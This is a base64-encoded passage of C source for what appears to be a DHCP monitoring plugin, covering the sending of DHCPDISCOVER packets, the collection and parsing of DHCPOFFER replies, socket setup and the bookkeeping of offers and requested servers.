T1ZFUiBzaWFkZHI6ICAlc1xuIixpbmV0X250b2EoZGlzY292ZXJfcGFja2V0
LnNpYWRkcikpOw0KCXByaW50ZigiREhDRElTQ09WRVIgZ2lhZGRyOiAgJXNc
biIsaW5ldF9udG9hKGRpc2NvdmVyX3BhY2tldC5naWFkZHIpKTsNCiNlbmRp
Zg0KDQoJLyogc2VuZCB0aGUgREhDUERJU0NPVkVSIHBhY2tldCBvdXQgKi8N
CglzZW5kX2RoY3BfcGFja2V0KCZkaXNjb3Zlcl9wYWNrZXQsc2l6ZW9mKGRp
c2NvdmVyX3BhY2tldCksc29jaywmc29ja2FkZHJfYnJvYWRjYXN0KTsNCg0K
I2lmZGVmIERFQlVHDQoJcHJpbnRmKCJcblxuIik7DQojZW5kaWYNCg0KCXJl
dHVybiBPSzsNCiAgICAgICAgfQ0KDQoNCg0KDQovKiB3YWl0cyBmb3IgYSBE
SENQT0ZGRVIgbWVzc2FnZSBmcm9tIG9uZSBvciBtb3JlIERIQ1Agc2VydmVy
cyAqLw0KaW50IGdldF9kaGNwX29mZmVyKGludCBzb2NrKXsNCglkaGNwX3Bh
Y2tldCBvZmZlcl9wYWNrZXQ7DQoJc3RydWN0IHNvY2thZGRyX2luIHNvdXJj
ZTsNCglpbnQgcmVzdWx0PU9LOw0KCWludCB0aW1lb3V0PTE7DQoJaW50IHJl
c3BvbnNlcz0wOw0KCWludCB4Ow0KCXRpbWVfdCBzdGFydF90aW1lOw0KCXRp
bWVfdCBjdXJyZW50X3RpbWU7DQoNCgl0aW1lKCZzdGFydF90aW1lKTsNCg0K
CS8qIHJlY2VpdmUgYXMgbWFueSByZXNwb25zZXMgYXMgd2UgY2FuICovDQoJ
Zm9yKHJlc3BvbnNlcz0wLHZhbGlkX3Jlc3BvbnNlcz0wOzspew0KDQoJCXRp
bWUoJmN1cnJlbnRfdGltZSk7DQoJCWlmKChjdXJyZW50X3RpbWUtc3RhcnRf
dGltZSk+PWRoY3BvZmZlcl90aW1lb3V0KQ0KCQkJYnJlYWs7DQoNCiNpZmRl
ZiBERUJVRw0KCQlwcmludGYoIlxuXG4iKTsNCiNlbmRpZg0KDQoJCWJ6ZXJv
KCZzb3VyY2Usc2l6ZW9mKHNvdXJjZSkpOw0KCQliemVybygmb2ZmZXJfcGFj
a2V0LHNpemVvZihvZmZlcl9wYWNrZXQpKTsNCg0KCQlyZXN1bHQ9T0s7DQoJ
CXJlc3VsdD1yZWNlaXZlX2RoY3BfcGFja2V0KCZvZmZlcl9wYWNrZXQsc2l6
ZW9mKG9mZmVyX3BhY2tldCksc29jayxkaGNwb2ZmZXJfdGltZW91dCwmc291
cmNlKTsNCgkJDQoJCWlmKHJlc3VsdCE9T0spew0KI2lmZGVmIERFQlVHDQoJ
CQlwcmludGYoIlJlc3VsdD1FUlJPUlxuIik7DQojZW5kaWYNCgkJCWNvbnRp
bnVlOw0KCQkgICAgICAgIH0NCgkJZWxzZXsNCiNpZmRlZiBERUJVRw0KCQkJ
cHJpbnRmKCJSZXN1bHQ9T0tcbiIpOw0KI2VuZGlmDQoJCQlyZXNwb25zZXMr
KzsNCgkJICAgICAgICB9DQoNCiNpZmRlZiBERUJVRw0KCQlwcmludGYoIkRI
Q1BPRkZFUiBmcm9tIElQIGFkZHJlc3MgJXNcbiIsaW5ldF9udG9hKHNvdXJj
ZS5zaW5fYWRkcikpOw0KCQlwcmludGYoIkRIQ1BPRkZFUiBYSUQ6ICVsdSAo
MHglWClcbiIsbnRvaGwob2ZmZXJfcGFja2V0LnhpZCksbnRvaGwob2ZmZXJf
cGFja2V0LnhpZCkpOw0KI2VuZGlmDQoNCgkJLyogY2hlY2sgcGFja2V0IHhp
ZCB0byBzZWUgaWYgaXRzIHRoZSBzYW1lIGFzIHRoZSBvbmUgd2UgdXNlZCBp
biB0aGUgZGlzY292ZXIgcGFja2V0ICovDQoJCWlmKG50b2hsKG9mZmVyX3Bh
Y2tldC54aWQpIT1wYWNrZXRfeGlkKXsNCiNpZmRlZiBERUJVRw0KCQkJcHJp
bnRmKCJESENQT0ZGRVIgWElEICglbHUpIGRpZCBub3QgbWF0Y2ggREhDUERJ
U0NPVkVSIFhJRCAoJWx1KSAtIGlnbm9yaW5nIHBhY2tldFxuIixudG9obChv
ZmZlcl9wYWNrZXQueGlkKSxwYWNrZXRfeGlkKTsNCiNlbmRpZg0KCQkJY29u
dGludWU7DQoJCSAgICAgICAgfQ0KDQoJCS8qIGNoZWNrIGhhcmR3YXJlIGFk
ZHJlc3MgKi8NCgkJcmVzdWx0PU9LOw0KI2lmZGVmIERFQlVHDQoJCXByaW50
ZigiREhDUE9GRkVSIGNoYWRkcjogIik7DQojZW5kaWYNCgkJZm9yKHg9MDt4
PEVUSEVSTkVUX0hBUkRXQVJFX0FERFJFU1NfTEVOR1RIO3grKyl7DQojaWZk
ZWYgREVCVUcNCgkJCXByaW50ZigiJTAyWCIsKHVuc2lnbmVkIGNoYXIpb2Zm
ZXJfcGFja2V0LmNoYWRkclt4XSk7DQojZW5kaWYNCgkJCWlmKG9mZmVyX3Bh
Y2tldC5jaGFkZHJbeF0hPWNsaWVudF9oYXJkd2FyZV9hZGRyZXNzW3hdKXsN
CgkJCQlyZXN1bHQ9RVJST1I7DQoJCQkgICAgICAgIH0NCgkJICAgICAgICB9
DQojaWZkZWYgREVCVUcNCgkJcHJpbnRmKCJcbiIpOw0KI2VuZGlmDQoJCWlm
KHJlc3VsdD09RVJST1Ipew0KI2lmZGVmIERFQlVHDQoJCQlwcmludGYoIkRI
Q1BPRkZFUiBoYXJkd2FyZSBhZGRyZXNzIGRpZCBub3QgbWF0Y2ggb3VyIG93
biAtIGlnbm9yaW5nIHBhY2tldFxuIik7DQojZW5kaWYNCgkJCWNvbnRpbnVl
Ow0KCQkgICAgICAgIH0NCg0KI2lmZGVmIERFQlVHDQoJCXByaW50ZigiREhD
UE9GRkVSIGNpYWRkcjogJXNcbiIsaW5ldF9udG9hKG9mZmVyX3BhY2tldC5j
aWFkZHIpKTsNCgkJcHJpbnRmKCJESENQT0ZGRVIgeWlhZGRyOiAlc1xuIixp
bmV0X250b2Eob2ZmZXJfcGFja2V0LnlpYWRkcikpOw0KCQlwcmludGYoIkRI
Q1BPRkZFUiBzaWFkZHI6ICVzXG4iLGluZXRfbnRvYShvZmZlcl9wYWNrZXQu
c2lhZGRyKSk7DQoJCXByaW50ZigiREhDUE9GRkVSIGdpYWRkcjogJXNcbiIs
aW5ldF9udG9hKG9mZmVyX3BhY2tldC5naWFkZHIpKTsNCiNlbmRpZg0KDQoJ
CWFkZF9kaGNwX29mZmVyKHNvdXJjZS5zaW5fYWRkciwmb2ZmZXJfcGFja2V0
KTsNCg0KCQl2YWxpZF9yZXNwb25zZXMrKzsNCgkgICAgICAgIH0NCg0KI2lm
ZGVmIERFQlVHDQoJcHJpbnRmKCJUb3RhbCByZXNwb25zZXMgc2VlbiBvbiB0
aGUgd2lyZTogJWRcbiIscmVzcG9uc2VzKTsNCglwcmludGYoIlZhbGlkIHJl
c3BvbnNlcyBmb3IgdGhpcyBtYWNoaW5lOiAlZFxuIix2YWxpZF9yZXNwb25z
ZXMpOw0KI2VuZGlmDQoNCglyZXR1cm4gT0s7DQogICAgICAgIH0NCg0KDQoN
Ci8qIHNlbmRzIGEgREhDUCBwYWNrZXQgKi8NCmludCBzZW5kX2RoY3BfcGFj
a2V0KHZvaWQgKmJ1ZmZlciwgaW50IGJ1ZmZlcl9zaXplLCBpbnQgc29jaywg
c3RydWN0IHNvY2thZGRyX2luICpkZXN0KXsNCglzdHJ1Y3Qgc29ja2FkZHJf
aW4gbXluYW1lOw0KCWludCByZXN1bHQ7DQoNCglyZXN1bHQ9c2VuZHRvKHNv
Y2ssKGNoYXIgKilidWZmZXIsYnVmZmVyX3NpemUsMCwoc3RydWN0IHNvY2th
ZGRyICopZGVzdCxzaXplb2YoKmRlc3QpKTsNCg0KI2lmZGVmIERFQlVHDQoJ
cHJpbnRmKCJzZW5kX2RoY3BfcGFja2V0IHJlc3VsdDogJWRcbiIscmVzdWx0
KTsNCiNlbmRpZg0KDQoJaWYocmVzdWx0PDApDQoJCXJldHVybiBFUlJPUjsN
Cg0KCXJldHVybiBPSzsNCiAgICAgICAgfQ0KDQoNCg0KLyogcmVjZWl2ZXMg
YSBESENQIHBhY2tldCAqLw0KaW50IHJlY2VpdmVfZGhjcF9wYWNrZXQodm9p
ZCAqYnVmZmVyLCBpbnQgYnVmZmVyX3NpemUsIGludCBzb2NrLCBpbnQgdGlt
ZW91dCwgc3RydWN0IHNvY2thZGRyX2luICphZGRyZXNzKXsNCiAgICAgICAg
c3RydWN0IHRpbWV2YWwgdHY7DQogICAgICAgIGZkX3NldCByZWFkZmRzOw0K
CWludCByZWN2X3Jlc3VsdDsNCglzb2NrbGVuX3QgYWRkcmVzc19zaXplOw0K
CXN0cnVjdCBzb2NrYWRkcl9pbiBzb3VyY2VfYWRkcmVzczsNCg0KDQogICAg
ICAgIC8qIHdhaXQgZm9yIGRhdGEgdG8gYXJyaXZlICh1cCB0aW1lIHRpbWVv
dXQpICovDQogICAgICAgIHR2LnR2X3NlYz10aW1lb3V0Ow0KICAgICAgICB0
di50dl91c2VjPTA7DQogICAgICAgIEZEX1pFUk8oJnJlYWRmZHMpOw0KICAg
ICAgICBGRF9TRVQoc29jaywmcmVhZGZkcyk7DQogICAgICAgIHNlbGVjdChz
b2NrKzEsJnJlYWRmZHMsTlVMTCxOVUxMLCZ0dik7DQoNCiAgICAgICAgLyog
bWFrZSBzdXJlIHNvbWUgZGF0YSBoYXMgYXJyaXZlZCAqLw0KICAgICAgICBp
ZighRkRfSVNTRVQoc29jaywmcmVhZGZkcykpew0KI2lmZGVmIERFQlVHDQog
ICAgICAgICAgICAgICAgcHJpbnRmKCJObyAobW9yZSkgZGF0YSByZWNpZXZl
ZFxuIik7DQojZW5kaWYNCiAgICAgICAgICAgICAgICByZXR1cm4gRVJST1I7
DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgIGVsc2V7DQoNCgkJLyog
d2h5IGRvIHdlIG5lZWQgdG8gcGVlayBmaXJzdD8gIGkgZG9uJ3Qga25vdywg
aXRzIGEgaGFjay4gIHdpdGhvdXQgaXQsIHRoZSBzb3VyY2UgYWRkcmVzcyBv
ZiB0aGUgZmlyc3QgcGFja2V0IHJlY2VpdmVkIHdhcw0KCQkgICBub3QgYmVp
bmcgaW50ZXJwcmV0ZWQgY29ycmVjdGx5LiAgc2lnaC4uLiAqLw0KCQliemVy
bygmc291cmNlX2FkZHJlc3Msc2l6ZW9mKHNvdXJjZV9hZGRyZXNzKSk7DQog
ICAgICAgICAgICAgICAgcmVjdl9yZXN1bHQ9cmVjdmZyb20oc29jaywoY2hh
ciAqKWJ1ZmZlcixidWZmZXJfc2l6ZSxNU0dfUEVFSywoc3RydWN0IHNvY2th
ZGRyICopJnNvdXJjZV9hZGRyZXNzLCZhZGRyZXNzX3NpemUpOw0KI2lmZGVm
IERFQlVHDQoJCXByaW50ZigicmVjdl9yZXN1bHRfMTogJWRcbiIscmVjdl9y
ZXN1bHQpOw0KI2VuZGlmDQogICAgICAgICAgICAgICAgcmVjdl9yZXN1bHQ9
cmVjdmZyb20oc29jaywoY2hhciAqKWJ1ZmZlcixidWZmZXJfc2l6ZSwwLChz
dHJ1Y3Qgc29ja2FkZHIgKikmc291cmNlX2FkZHJlc3MsJmFkZHJlc3Nfc2l6
ZSk7DQojaWZkZWYgREVCVUcNCgkJcHJpbnRmKCJyZWN2X3Jlc3VsdF8yOiAl
ZFxuIixyZWN2X3Jlc3VsdCk7DQojZW5kaWYNCg0KICAgICAgICAgICAgICAg
IGlmKHJlY3ZfcmVzdWx0PT0tMSl7DQojaWZkZWYgREVCVUcNCgkJCXByaW50
ZigicmVjdmZyb20oKSBmYWlsZWQsICIpOw0KCQkJcHJpbnRmKCJlcnJubzog
KCVkKSAtPiAlc1xuIixlcnJubyxzdHJlcnJvcihlcnJubykpOw0KI2VuZGlm
DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gRVJST1I7DQogICAg
ICAgICAgICAgICAgICAgICAgICB9DQoJCWVsc2V7DQojaWZkZWYgREVCVUcN
CgkJCXByaW50ZigicmVjZWl2ZV9kaGNwX3BhY2tldCgpIHJlc3VsdDogJWRc
biIscmVjdl9yZXN1bHQpOw0KCQkJcHJpbnRmKCJyZWNlaXZlX2RoY3BfcGFj
a2V0KCkgc291cmNlOiAlc1xuIixpbmV0X250b2Eoc291cmNlX2FkZHJlc3Mu
c2luX2FkZHIpKTsNCiNlbmRpZg0KDQoJCQltZW1jcHkoYWRkcmVzcywmc291
cmNlX2FkZHJlc3Msc2l6ZW9mKHNvdXJjZV9hZGRyZXNzKSk7DQoJCQlyZXR1
cm4gT0s7DQoJCSAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCg0KCXJl
dHVybiBPSzsNCiAgICAgICAgfQ0KDQoNCg0KLyogY3JlYXRlcyBhIHNvY2tl
dCBmb3IgREhDUCBjb21tdW5pY2F0aW9uICovDQppbnQgY3JlYXRlX2RoY3Bf
c29ja2V0KHZvaWQpew0KICAgICAgICBzdHJ1Y3Qgc29ja2FkZHJfaW4gbXlu
YW1lOw0KCXN0cnVjdCBpZnJlcSBpbnRlcmZhY2U7DQogICAgICAgIGludCBz
b2NrOw0KICAgICAgICBpbnQgZmxhZz0xOw0KDQogICAgICAgIC8qIFNldCB1
cCB0aGUgYWRkcmVzcyB3ZSdyZSBnb2luZyB0byBiaW5kIHRvLiAqLw0KCWJ6
ZXJvKCZteW5hbWUsc2l6ZW9mKG15bmFtZSkpOw0KICAgICAgICBteW5hbWUu
c2luX2ZhbWlseT1BRl9JTkVUOw0KICAgICAgICBteW5hbWUuc2luX3BvcnQ9
aHRvbnMoREhDUF9DTElFTlRfUE9SVCk7DQogICAgICAgIG15bmFtZS5zaW5f
YWRkci5zX2FkZHI9SU5BRERSX0FOWTsgICAgICAgICAgICAgICAgIC8qIGxp
c3RlbiBvbiBhbnkgYWRkcmVzcyAqLw0KICAgICAgICBiemVybygmbXluYW1l
LnNpbl96ZXJvLHNpemVvZihteW5hbWUuc2luX3plcm8pKTsNCg0KICAgICAg
ICAvKiBjcmVhdGUgYSBzb2NrZXQgZm9yIERIQ1AgY29tbXVuaWNhdGlvbnMg
Ki8NCglzb2NrPXNvY2tldChBRl9JTkVULFNPQ0tfREdSQU0sSVBQUk9UT19V
RFApOw0KICAgICAgICBpZihzb2NrPDApew0KCQlwcmludGYoIkVycm9yOiBD
b3VsZCBub3QgY3JlYXRlIHNvY2tldCFcbiIpOw0KCQlleGl0KFNUQVRFX1VO
S05PV04pOw0KCSAgICAgICAgfQ0KDQojaWZkZWYgREVCVUcNCglwcmludGYo
IkRIQ1Agc29ja2V0OiAlZFxuIixzb2NrKTsNCiNlbmRpZg0KDQogICAgICAg
IC8qIHNldCB0aGUgcmV1c2UgYWRkcmVzcyBmbGFnIHNvIHdlIGRvbid0IGdl
dCBlcnJvcnMgd2hlbiByZXN0YXJ0aW5nICovDQogICAgICAgIGZsYWc9MTsN
CiAgICAgICAgaWYoc2V0c29ja29wdChzb2NrLFNPTF9TT0NLRVQsU09fUkVV
U0VBRERSLChjaGFyICopJmZsYWcsc2l6ZW9mKGZsYWcpKTwwKXsNCgkJcHJp
bnRmKCJFcnJvcjogQ291bGQgbm90IHNldCByZXVzZSBhZGRyZXNzIG9wdGlv
biBvbiBESENQIHNvY2tldCFcbiIpOw0KCQlleGl0KFNUQVRFX1VOS05PV04p
Ow0KCSAgICAgICAgfQ0KDQogICAgICAgIC8qIHNldCB0aGUgYnJvYWRjYXN0
IG9wdGlvbiAtIHdlIG5lZWQgdGhpcyB0byBsaXN0ZW4gdG8gREhDUCBicm9h
ZGNhc3QgbWVzc2FnZXMgKi8NCiAgICAgICAgaWYoc2V0c29ja29wdChzb2Nr
LFNPTF9TT0NLRVQsU09fQlJPQURDQVNULChjaGFyICopJmZsYWcsc2l6ZW9m
IGZsYWcpPDApew0KCQlwcmludGYoIkVycm9yOiBDb3VsZCBub3Qgc2V0IGJy
b2FkY2FzdCBvcHRpb24gb24gREhDUCBzb2NrZXQhXG4iKTsNCgkJZXhpdChT
VEFURV9VTktOT1dOKTsNCgkgICAgICAgIH0NCg0KCS8qIGJpbmQgc29ja2V0
IHRvIGludGVyZmFjZSAqLw0KCXN0cm5jcHkoaW50ZXJmYWNlLmlmcl9pZnJu
Lmlmcm5fbmFtZSxuZXR3b3JrX2ludGVyZmFjZV9uYW1lLElGTkFNU0laKTsN
CglpZihzZXRzb2Nrb3B0KHNvY2ssU09MX1NPQ0tFVCxTT19CSU5EVE9ERVZJ
Q0UsKGNoYXIgKikmaW50ZXJmYWNlLHNpemVvZihpbnRlcmZhY2UpKTwwKXsN
CgkJcHJpbnRmKCJFcnJvcjogQ291bGQgbm90IGJpbmQgc29ja2V0IHRvIGlu
dGVyZmFjZSAlcy4gIENoZWNrIHlvdXIgcHJpdmlsZWdlcy4uLlxuIixuZXR3
b3JrX2ludGVyZmFjZV9uYW1lKTsNCgkJZXhpdChTVEFURV9VTktOT1dOKTsN
CgkgICAgICAgIH0NCg0KICAgICAgICAvKiBiaW5kIHRoZSBzb2NrZXQgKi8N
CiAgICAgICAgaWYoYmluZChzb2NrLChzdHJ1Y3Qgc29ja2FkZHIgKikmbXlu
YW1lLHNpemVvZihteW5hbWUpKTwwKXsNCgkJcHJpbnRmKCJFcnJvcjogQ291
bGQgbm90IGJpbmQgdG8gREhDUCBzb2NrZXQgKHBvcnQgJWQpISAgQ2hlY2sg
eW91ciBwcml2aWxlZ2VzLi4uXG4iLERIQ1BfQ0xJRU5UX1BPUlQpOw0KCQll
eGl0KFNUQVRFX1VOS05PV04pOw0KCSAgICAgICAgfQ0KDQogICAgICAgIHJl
dHVybiBzb2NrOw0KICAgICAgICB9DQoNCg0KDQoNCg0KLyogY2xvc2VzIERI
Q1Agc29ja2V0ICovDQppbnQgY2xvc2VfZGhjcF9zb2NrZXQoaW50IHNvY2sp
ew0KDQoJY2xvc2Uoc29jayk7DQoNCglyZXR1cm4gT0s7DQogICAgICAgIH0N
Cg0KDQoNCg0KLyogYWRkcyBhIHJlcXVlc3RlZCBzZXJ2ZXIgYWRkcmVzcyB0
byBsaXN0IGluIG1lbW9yeSAqLw0KaW50IGFkZF9yZXF1ZXN0ZWRfc2VydmVy
KHN0cnVjdCBpbl9hZGRyIHNlcnZlcl9hZGRyZXNzKXsNCglyZXF1ZXN0ZWRf
c2VydmVyICpuZXdfc2VydmVyOw0KDQoJbmV3X3NlcnZlcj0ocmVxdWVzdGVk
X3NlcnZlciAqKW1hbGxvYyhzaXplb2YocmVxdWVzdGVkX3NlcnZlcikpOw0K
CWlmKG5ld19zZXJ2ZXI9PU5VTEwpDQoJCXJldHVybiBFUlJPUjsNCg0KCW5l
d19zZXJ2ZXItPnNlcnZlcl9hZGRyZXNzPXNlcnZlcl9hZGRyZXNzOw0KDQoJ
bmV3X3NlcnZlci0+bmV4dD1yZXF1ZXN0ZWRfc2VydmVyX2xpc3Q7DQoJcmVx
dWVzdGVkX3NlcnZlcl9saXN0PW5ld19zZXJ2ZXI7DQoNCglyZXF1ZXN0ZWRf
c2VydmVycysrOw0KDQojaWZkZWYgREVCVUcNCglwcmludGYoIlJlcXVlc3Rl
ZCBzZXJ2ZXIgYWRkcmVzczogJXNcbiIsaW5ldF9udG9hKG5ld19zZXJ2ZXIt
PnNlcnZlcl9hZGRyZXNzKSk7DQojZW5kaWYNCg0KCXJldHVybiBPSzsNCiAg
ICAgICAgfQ0KDQoNCg0KDQovKiBhZGRzIGEgREhDUCBPRkZFUiB0byBsaXN0
IGluIG1lbW9yeSAqLw0KaW50IGFkZF9kaGNwX29mZmVyKHN0cnVjdCBpbl9h
ZGRyIHNvdXJjZSxkaGNwX3BhY2tldCAqb2ZmZXJfcGFja2V0KXsNCglkaGNw
X29mZmVyICpuZXdfb2ZmZXI7DQoJaW50IHg7DQoJaW50IHk7DQoJdW5zaWdu
ZWQgb3B0aW9uX3R5cGU7DQoJdW5zaWduZWQgb3B0aW9uX2xlbmd0aDsNCg0K
CWlmKG9mZmVyX3BhY2tldD09TlVMTCkNCgkJcmV0dXJuIEVSUk9SOw0KDQoJ
LyogcHJvY2VzcyBhbGwgREhDUCBvcHRpb25zIHByZXNlbnQgaW4gdGhlIHBh
Y2tldCAqLw0KCWZvcih4PTQ7eDxNQVhfREhDUF9PUFRJT05TX0xFTkdUSDsp
ew0KDQoJCS8qIGVuZCBvZiBvcHRpb25zICgwIGlzIHJlYWxseSBqdXN0IGEg
cGFkLCBidXQgYmFpbCBvdXQgYW55d2F5KSAqLw0KCQlpZigoaW50KW9mZmVy
X3BhY2tldC0+b3B0aW9uc1t4XT09LTEgfHwgKGludClvZmZlcl9wYWNrZXQt
Pm9wdGlvbnNbeF09PTApDQoJCQlicmVhazsNCg0KCQkvKiBnZXQgb3B0aW9u
IHR5cGUgKi8NCgkJb3B0aW9uX3R5cGU9b2ZmZXJfcGFja2V0LT5vcHRpb25z
W3grK107DQoNCgkJLyogZ2V0IG9wdGlvbiBsZW5ndGggKi8NCgkJb3B0aW9u
X2xlbmd0aD1vZmZlcl9wYWNrZXQtPm9wdGlvbnNbeCsrXTsNCg0KI2lmZGVm
IERFQlVHDQoJCXByaW50ZigiT3B0aW9uOiAlZCAoMHglMDJYKVxuIixvcHRp
b25fdHlwZSxvcHRpb25fbGVuZ3RoKTsNCiNlbmRpZg0KDQoJCS8qIGdldCBv
cHRpb24gZGF0YSAqLw0KCQlpZihvcHRpb25fdHlwZT09REhDUF9PUFRJT05f
TEVBU0VfVElNRSkNCgkJCWRoY3BfbGVhc2VfdGltZT1udG9obCgqKCh1X2lu
dDMyX3QgKikmb2ZmZXJfcGFja2V0LT5vcHRpb25zW3hdKSk7DQoJCWlmKG9w
dGlvbl90eXBlPT1ESENQX09QVElPTl9SRU5FV0FMX1RJTUUpDQoJCQlkaGNw
X3JlbmV3YWxfdGltZT1udG9obCgqKCh1X2ludDMyX3QgKikmb2ZmZXJfcGFj
a2V0LT5vcHRpb25zW3hdKSk7DQoJCWlmKG9wdGlvbl90eXBlPT1ESENQX09Q
VElPTl9SRUJJTkRJTkdfVElNRSkNCgkJCWRoY3BfcmViaW5kaW5nX3RpbWU9
bnRvaGwoKigodV9pbnQzMl90ICopJm9mZmVyX3BhY2tldC0+b3B0aW9uc1t4
XSkpOw0KDQoJCS8qIHNraXAgb3B0aW9uIGRhdGEgd2UncmUgaWdub3Jpbmcg
Ki8NCgkJZWxzZQ0KCQkJZm9yKHk9MDt5PG9wdGlvbl9sZW5ndGg7eSsrLHgr
Kyk7DQoJICAgICAgICB9DQoNCiNpZmRlZiBERUJVRw0KCWlmKGRoY3BfbGVh
c2VfdGltZT09REhDUF9JTkZJTklURV9USU1FKQ0KCQlwcmludGYoIkxlYXNl
IFRpbWU6IEluZmluaXRlXG4iKTsNCgllbHNlDQoJCXByaW50ZigiTGVhc2Ug
VGltZTogJWx1IHNlY29uZHNcbiIsKHVuc2lnbmVkIGxvbmcpZGhjcF9sZWFz
ZV90aW1lKTsNCglpZihkaGNwX3JlbmV3YWxfdGltZT09REhDUF9JTkZJTklU
RV9USU1FKQ0KCQlwcmludGYoIlJlbmV3YWwgVGltZTogSW5maW5pdGVcbiIp
Ow0KCWVsc2UNCgkJcHJpbnRmKCJSZW5ld2FsIFRpbWU6ICVsdSBzZWNvbmRz
XG4iLCh1bnNpZ25lZCBsb25nKWRoY3BfcmVuZXdhbF90aW1lKTsNCglpZihk
aGNwX3JlYmluZGluZ190aW1lPT1ESENQX0lORklOSVRFX1RJTUUpDQoJCXBy
aW50ZigiUmViaW5kaW5nIFRpbWU6IEluZmluaXRlXG4iKTsNCglwcmludGYo
IlJlYmluZGluZyBUaW1lOiAlbHUgc2Vjb25kc1xuIiwodW5zaWduZWQgbG9u
ZylkaGNwX3JlYmluZGluZ190aW1lKTsNCiNlbmRpZg0KDQoJbmV3X29mZmVy
PShkaGNwX29mZmVyICopbWFsbG9jKHNpemVvZihkaGNwX29mZmVyKSk7DQoN
CglpZihuZXdfb2ZmZXI9PU5VTEwpDQoJCXJldHVybiBFUlJPUjsNCg0KDQoJ
bmV3X29mZmVyLT5zZXJ2ZXJfYWRkcmVzcz1zb3VyY2U7DQoJbmV3X29mZmVy
LT5vZmZlcmVkX2FkZHJlc3M9b2ZmZXJfcGFja2V0LT55aWFkZHI7DQoJbmV3
X29mZmVyLT5sZWFzZV90aW1lPWRoY3BfbGVhc2VfdGltZTsNCgluZXdfb2Zm
ZXItPnJlbmV3YWxfdGltZT1kaGNwX3JlbmV3YWxfdGltZTsNCgluZXdfb2Zm
ZXItPnJlYmluZGluZ190aW1lPWRoY3BfcmViaW5kaW5nX3RpbWU7DQoNCg0K
I2lmZGVmIERFQlVHDQoJcHJpbnRmKCJBZGRlZCBvZmZlciBmcm9tIHNlcnZl
ciBAICVzIixpbmV0X250b2EobmV3X29mZmVyLT5zZXJ2ZXJfYWRkcmVzcykp
Ow0KCXByaW50ZigiIG9mIElQIGFkZHJlc3MgJXNcbiIsaW5ldF9udG9hKG5l
d19vZmZlci0+b2ZmZXJlZF9hZGRyZXNzKSk7DQojZW5kaWYNCg0KCS8qIGFk
ZCBuZXcgb2ZmZXIgdG8gaGVhZCBvZiBsaXN0ICovDQoJbmV3X29mZmVyLT5u
ZXh0PWRoY3Bfb2ZmZXJfbGlzdDsNCglkaGNwX29mZmVyX2xpc3Q9bmV3X29m
ZmVyOw0KDQoJcmV0dXJuIE9LOw0KICAgICAgICB9DQoNCg0KDQoNCi8qIGZy
ZWVzIG1lbW9yeSBhbGxvY2F0ZWQgdG8gREhDUCBPRkZFUiBsaXN0ICovDQpp
bnQgZnJlZV9kaGNwX29mZmVyX2xpc3Qodm9pZCl7DQoJZGhjcF9vZmZlciAq
dGhpc19vZmZlcjsNCglkaGNwX29mZmVyICpuZXh0X29mZmVyOw0KDQoJZm9y
KHRoaXNfb2ZmZXI9ZGhjcF9vZmZlcl9saXN0O3RoaXNfb2ZmZXIhPU5VTEw7
dGhpc19vZmZlcj1uZXh0X29mZmVyKXsNCgkJbmV4dF9vZmZlcj10aGlzX29m
ZmVyLT5uZXh0Ow0KCQlmcmVlKHRoaXNfb2ZmZXIpOw0KCSAgICAgICAgfQ0K
DQoJcmV0dXJuIE9LOw0KICAgICAgICB9DQoNCg0KDQoNCi8qIGZyZWVzIG1l
bW9yeSBhbGxvY2F0ZWQgdG8gcmVxdWVzdGVkIHNlcnZlciBsaXN0ICovDQpp
bnQgZnJlZV9yZXF1ZXN0ZWRfc2VydmVyX2xpc3Qodm9pZCl7DQoJcmVxdWVz
dGVkX3NlcnZlciAqdGhpc19zZXJ2ZXI7DQoJcmVxdWVzdGVkX3NlcnZlciAq
bmV4dF9zZXJ2ZXI7DQoNCglmb3IodGhpc19zZXJ2ZXI9cmVxdWVzdGVkX3Nl
cnZlcl9saXN0O3RoaXNfc2VydmVyIT1OVUxMO3RoaXNfc2VydmVyPW5leHRf
c2VydmVyKXsNCgkJbmV4dF9zZXJ2ZXI9dGhpc19zZXJ2ZXItPm5leHQ7DQoJ
CWZyZWUodGhpc19zZXJ2ZXIpOw0KCSAgICAgICAgfQ0KCQ0KCXJldHVybiBP
SzsNCiAgICAgICAgfQ0KDQoNCi8qIGdldHMgc3RhdGUgYW5kIHBsdWdpbiBv
dXRwdXQgdG8gcmV0dXJuICovDQppbnQgZ2V0X3Jlc3VsdHModm9pZCl7DQoJ
ZGhjcF9vZmZlciAqdGVtcF9vZmZlcjsNCglyZXF1ZXN0ZWRfc2VydmVyICp0
ZW1wX3NlcnZlcjsNCglpbnQgcmVzdWx0Ow0KCXVfaW50MzJfdCBtYXhfbGVh
c2VfdGltZT0wOw0KDQoJcmVjZWl2ZWRfcmVxdWVzdGVkX2FkZHJlc3M9RkFM
U0U7DQoNCgkvKiBjaGVja3MgcmVzcG9uc2VzIGZyb20gcmVxdWVzdGVkIHNl
cnZlcnMgKi8NCglyZXF1ZXN0ZWRfcmVzcG9uc2VzPTA7DQoJaWYocmVxdWVz
dGVkX3NlcnZlcnM+MCl7DQoNCgkJZm9yKHRlbXBfc2VydmVyPXJlcXVlc3Rl
ZF9zZXJ2ZXJfbGlzdDt0ZW1wX3NlcnZlciE9TlVMTDt0ZW1wX3NlcnZlcj10
ZW1wX3NlcnZlci0+bmV4dCl7DQoNCgkJCWZvcih0ZW1wX29mZmVyPWRoY3Bf
b2ZmZXJfbGlzdDt0ZW1wX29mZmVyIT1OVUxMO3RlbXBfb2ZmZXI9dGVtcF9v
ZmZlci0+bmV4dCl7DQoNCgkJCQkvKiBnZXQgbWF4IGxlYXNlIHRpbWUgd2Ug
d2VyZSBvZmZlcmVkICovDQoJCQkJaWYodGVtcF9vZmZlci0+bGVhc2VfdGlt
ZT5tYXhfbGVhc2VfdGltZSB8fCB0ZW1wX29mZmVyLT5sZWFzZV90aW1lPT1E
SENQX0lORklOSVRFX1RJTUUpDQoJCQkJCW1heF9sZWFzZV90aW1lPXRlbXBf
b2ZmZXItPmxlYXNlX3RpbWU7DQoJCQkJDQoJCQkJLyogc2VlIGlmIHdlIGdv
dCB0aGUgYWRkcmVzcyB3ZSByZXF1ZXN0ZWQgKi8NCgkJCQlpZighbWVtY21w
KCZyZXF1ZXN0ZWRfYWRkcmVzcywmdGVtcF9vZmZlci0+b2ZmZXJlZF9hZGRy
ZXNzLHNpemVvZihyZXF1ZXN0ZWRfYWRkcmVzcykpKQ0KCQkJCQlyZWNlaXZl
